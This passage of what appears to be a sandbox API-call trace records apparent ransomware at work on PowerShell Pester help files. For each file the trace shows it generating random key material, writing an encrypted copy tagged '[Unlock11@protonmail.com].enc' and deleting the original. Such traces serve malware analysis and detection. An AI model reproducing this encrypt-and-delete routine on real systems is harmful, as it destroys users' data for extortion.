hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.182] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.182] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.182] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.182] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.182] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.182] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.184] CloseHandle (hObject=0x39c) returned 1 [0231.184] CloseHandle (hObject=0x334) returned 1 [0231.185] DeleteFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_BeforeEach_AfterEach.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\en-us\\about_beforeeach_aftereach.help.txt")) returned 0 [0231.185] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_Mocking.help.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_Mocking.help.txt", lpFilePart=0x9bada4*="about_Mocking.help.txt") returned 0x5a [0231.185] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_Mocking.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\en-us\\about_mocking.help.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x18fa)) returned 1 [0231.186] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36748f4 | out: pbBuffer=0x36748f4) returned 1 [0231.186] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_Mocking.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\en-us\\about_mocking.help.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0231.186] GetFileType (hFile=0x334) returned 0x1 [0231.186] GetFileType (hFile=0x334) returned 0x1 [0231.186] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.186] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.186] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.187] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.187] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.187] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.187] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.187] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_Mocking.help.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\en-us\\about_mocking.help.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0231.187] GetFileType (hFile=0x39c) returned 0x1 [0231.187] GetFileType (hFile=0x39c) returned 0x1 [0231.188] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.188] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.188] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.188] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.188] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.188] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.188] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.192] CloseHandle (hObject=0x39c) returned 1 [0231.192] CloseHandle (hObject=0x334) returned 1 [0231.192] DeleteFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_Mocking.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\en-us\\about_mocking.help.txt")) returned 0 [0231.193] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_Pester.help.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_Pester.help.txt", lpFilePart=0x9bada4*="about_Pester.help.txt") returned 0x59 [0231.193] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0231.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0231.193] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0231.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0231.193] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_Pester.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\en-us\\about_pester.help.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13ba)) returned 1 [0231.193] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674854 | out: pbBuffer=0x3674854) returned 1 [0231.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0231.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0231.194] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0231.194] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_Pester.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\en-us\\about_pester.help.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0231.194] GetFileType (hFile=0x334) returned 0x1 [0231.194] GetFileType (hFile=0x334) returned 0x1 [0231.194] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.195] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.195] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.195] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.195] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.195] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.195] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.195] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_Pester.help.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\en-us\\about_pester.help.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0231.196] GetFileType (hFile=0x39c) returned 0x1 [0231.196] GetFileType (hFile=0x39c) returned 0x1 [0231.196] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.196] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.196] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.196] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.196] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.196] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.196] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.199] CloseHandle (hObject=0x39c) returned 1 [0231.200] CloseHandle (hObject=0x334) returned 1 [0231.200] DeleteFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_Pester.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\en-us\\about_pester.help.txt")) returned 0 [0231.200] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_should.help.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_should.help.txt", lpFilePart=0x9bada4*="about_should.help.txt") returned 0x59 [0231.200] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0231.201] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_should.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\en-us\\about_should.help.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510bc884, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510bc884, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510bc884, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x145e)) returned 1 [0231.201] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674c64 | out: pbBuffer=0x3674c64) returned 1 [0231.201] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0231.201] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0231.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0231.201] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_should.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\en-us\\about_should.help.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0231.202] GetFileType (hFile=0x334) returned 0x1 [0231.202] GetFileType (hFile=0x334) returned 0x1 [0231.202] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.202] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.202] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.202] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.202] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.202] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.202] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.203] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_should.help.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\en-us\\about_should.help.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0231.205] GetFileType (hFile=0x39c) returned 0x1 [0231.206] GetFileType (hFile=0x39c) returned 0x1 [0231.206] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.206] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.206] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.206] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.206] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.206] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.206] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.217] CloseHandle (hObject=0x39c) returned 1 [0231.217] CloseHandle (hObject=0x334) returned 1 [0231.217] DeleteFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_should.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\en-us\\about_should.help.txt")) returned 0 [0231.218] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_TestDrive.help.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_TestDrive.help.txt", lpFilePart=0x9bada4*="about_TestDrive.help.txt") returned 0x5c [0231.218] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_TestDrive.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\en-us\\about_testdrive.help.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x482)) returned 1 [0231.218] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674c8c | out: pbBuffer=0x3674c8c) returned 1 [0231.218] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0231.218] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0231.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0231.219] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x37341b0 [0231.219] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_TestDrive.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\en-us\\about_testdrive.help.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0231.219] GetFileType (hFile=0x334) returned 0x1 [0231.221] GetFileType (hFile=0x334) returned 0x1 [0231.221] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.221] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.221] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.221] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.221] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.221] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.221] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.222] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_TestDrive.help.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\en-us\\about_testdrive.help.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0231.222] GetFileType (hFile=0x39c) returned 0x1 [0231.222] GetFileType (hFile=0x39c) returned 0x1 [0231.222] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.222] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.222] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.222] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.222] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.223] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.223] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.225] CloseHandle (hObject=0x39c) returned 1 [0231.225] CloseHandle (hObject=0x334) returned 1 [0231.225] DeleteFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_TestDrive.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\en-us\\about_testdrive.help.txt")) returned 0 [0231.226] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc800652, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7310 [0231.226] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc800652, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0231.226] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8010d4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Calculator", cAlternateFileName="CALCUL~1")) returned 1 [0231.226] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc801800, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1 [0231.226] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc801800, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0 [0231.226] FindClose (in: hFindFile=0x10f7310 | out: hFindFile=0x10f7310) returned 1 [0231.227] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Calculator" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\examples\\calculator")) returned 0x14 [0231.227] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2a98 | out: hHeap=0x2ad0000) returned 1 [0231.227] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0231.227] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Validator" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\examples\\validator")) returned 0x14 [0231.227] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2738 | out: hHeap=0x2ad0000) returned 1 [0231.227] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3733e90 | out: hHeap=0x2ad0000) returned 1 [0231.228] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Examples\\Calculator\\*.*", lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8010d4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7990 [0231.228] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc8010d4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0231.228] FindNextFileA (in: 